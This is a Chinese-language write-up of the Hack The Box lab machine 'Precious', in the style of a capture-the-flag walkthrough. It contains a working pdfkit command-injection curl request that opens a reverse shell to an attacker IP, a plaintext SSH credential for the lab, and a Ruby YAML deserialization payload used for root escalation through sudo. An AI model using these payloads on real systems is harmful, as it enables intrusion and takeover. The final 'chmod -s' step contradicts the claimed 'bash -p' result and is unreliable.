OverView
学习了 exiftool 这个工具以及 cat 多行写入文件的方法。
Useful tools & skills
Exiftool
ExifTool由Phil Harvey开发,是一款免费、跨平台的开源软件,用于读写和处理图像(主要)、音视频和PDF等文件的元数据(metadata)。ExifTool可以作为Perl库(Image::ExifTool)使用,也有功能齐全的命令行版本
cat 多行写文件
cat <<EOF > filename
> 复制的内容
> EOF
Enumeration
Nmap
nmap -sV 10.10.11.189
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-26 13:50 CST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.34 seconds
PDFkit RCE
打开网站发现是一个能够将 HTML 页面转换为 PDF 的应用
抓包发现 Web 应用是用 Ruby 语言写的。但是也没有获得什么有用的信息(搜索不到漏洞)
将转换的 PDF 下载下来
使用 exiftool 工具对 PDF 进行分析
可以看见是用 pdfkit v0.8.6 进行生成的
搜索了一下发现这个版本的 pdfkit 存在漏洞并且在 GitHub 上面找到了 EXP https://github.com/CyberArchitect1/CVE-2022-25765-pdfkit-Exploit-Reverse-Shell
curl 'http://precious.htb/' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_URL' -H 'Connection: keep-alive' -H 'Referer: TARGET_URL' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.14.23%3A80%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.23%22%2C9001%29%29%27%60'
FootHold
user.txt
获取了 shell,但是是 roby 用户。
查 /home/ruby/.bundle 目录下的 config 文件得到了 ssh ,
henry:Q3c1AqGHtoI0aXAYFH 连接上去
就可以得到第一个 flag
Ruby UnSerialize
sudo -l 查看一下有无特权
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
读取一下 /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
很快就关注到了 Yaml.load 可能存在反序列化漏洞。而 dependencies.yml 可以在一个可写的目录下控制内容
查看了 ruby 的版本号
去 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md 找到 Payload:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
在 /tmp 目录下用 cat 多行写入文件 (因为没有 vim)
cat <<EOF > dependencies.yml
> 复制的内容
> EOF
然后直接
sudo /usr/bin/ruby /opt/update_dependencies.rb
root.txt
最终 Payload:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod -s /bin/bash
method_id: :resolve
直接 bash -p,就可以读取到